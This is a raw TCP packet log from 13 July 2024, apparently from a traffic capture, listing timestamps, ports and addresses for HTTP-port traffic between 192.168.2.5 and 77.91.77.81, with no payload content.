Jul 13, 2024 07:06:03.113655090 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.113677025 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.113689899 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.113723993 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.114200115 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.114248037 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.114252090 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.114284039 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.114299059 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.114326954 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.114363909 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.114396095 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.114417076 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.114429951 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.114442110 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.114463091 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.114480972 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.114514112 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.114743948 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.114795923 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.114815950 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.114845037 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.114869118 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.114892006 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.114895105 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.114924908 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.114943981 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.114969969 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.114976883 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.115011930 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.115025043 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.115045071 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.115061998 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.115078926 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.115096092 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.115128994 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.116209030 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.116260052 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.116261959 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.116309881 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.116313934 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.116349936 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.116362095 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.116398096 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.116437912 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.116472006 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.116499901 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.116520882 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.116520882 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.116555929 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.116571903 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.116601944 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.116606951 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.116657019 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.116658926 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.116688013 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.116714001 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.116722107 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.116734028 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.116755962 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.116761923 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.116787910 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.116812944 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.116831064 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.190150023 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.190185070 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.190217972 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.190248966 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.190280914 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.190314054 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.190346956 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.190368891 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.190368891 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.190368891 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.190370083 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.190370083 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.190381050 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.190527916 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.190527916 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.190527916 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.191119909 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.191173077 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.191180944 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.191205978 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.191226006 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.191240072 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.191248894 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.191273928 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.191284895 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.191307068 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.191325903 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.191340923 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.191358089 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.191394091 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.229406118 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.229455948 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.229562998 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.229595900 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.229631901 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.229665041 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.229698896 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.229731083 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.229763985 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.229794979 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.229827881 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.229840040 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.229840040 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.229840040 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.229840040 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.229840040 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.229840040 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.229840040 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.229840040 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.229861975 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.229886055 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.229886055 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.229886055 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.229898930 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.229917049 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.229932070 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.229970932 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230000019 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230053902 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230106115 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230139971 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230159044 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230159044 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230159044 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230159044 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230159044 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230173111 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230179071 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230189085 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230218887 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230226040 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230258942 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230273962 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230293989 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230304956 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230326891 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230340958 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230371952 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230379105 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230412006 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230427027 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230447054 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230458021 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230480909 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230494976 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230515003 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230526924 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230560064 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230803967 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230839968 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230885029 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230885983 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230891943 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230926037 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230940104 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.230959892 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.230973005 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.231004953 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.231095076 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.231129885 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.231144905 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.231177092 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.231180906 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.231228113 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.231231928 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.231266975 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.231280088 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.231297970 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.231312037 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.231344938 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.231350899 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.231384039 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.231395960 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.231419086 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.231429100 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.231439114 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.231455088 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.231466055 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.231477022 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.231491089 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.231965065 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.231987000 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.232004881 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.232022047 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.232027054 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.232027054 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.232038975 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.232044935 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.232057095 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.232058048 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.232076883 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.232081890 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.232094049 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.232116938 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.235771894 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.235805988 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.235822916 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.235837936 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.235855103 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.235869884 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.235886097 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.235903025 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.235951900 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.235951900 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.235951900 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.235951900 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.235953093 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.235953093 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.235953093 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.235953093 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236205101 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236236095 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236252069 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236283064 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236299992 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236315012 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236330986 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236346006 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236362934 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236372948 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236372948 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236372948 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236372948 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236372948 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236372948 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236373901 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236377954 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236394882 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236396074 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236396074 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236411095 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236413002 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236428022 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236434937 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236444950 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236457109 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236462116 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236471891 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236490965 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236722946 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236749887 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236761093 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236761093 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236763000 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236787081 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236790895 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236800909 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236804962 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236829042 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236829996 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236846924 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.236856937 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236882925 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.236901999 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.237045050 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.237061977 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.237076998 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.237096071 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.237116098 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.237116098 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.237164974 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.237180948 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.237196922 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.237210989 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.237212896 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.237221956 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.237242937 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.237242937 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240051031 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240111113 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240379095 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240411997 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240427971 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240443945 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240458965 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240473986 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240506887 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240521908 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240540028 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240555048 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240571022 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240587950 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240597010 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240597010 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240597010 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240597010 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240597010 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240597010 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240597010 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240597010 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240623951 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240623951 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240623951 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240639925 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240657091 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240672112 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240674973 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240690947 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240719080 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240719080 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240777016 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240792990 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240808964 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240824938 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.240828991 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240839005 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240854979 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.240869045 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.279159069 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.279207945 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.279242992 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.279275894 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.279309988 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.279341936 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.279369116 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.279369116 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.279369116 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.279370070 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.279377937 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.279629946 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.279629946 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.279629946 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.280143023 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.280184984 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.280220032 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.280225992 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.280237913 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.280255079 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.280271053 CEST	49704	80	192.168.2.5	77.91.77.81
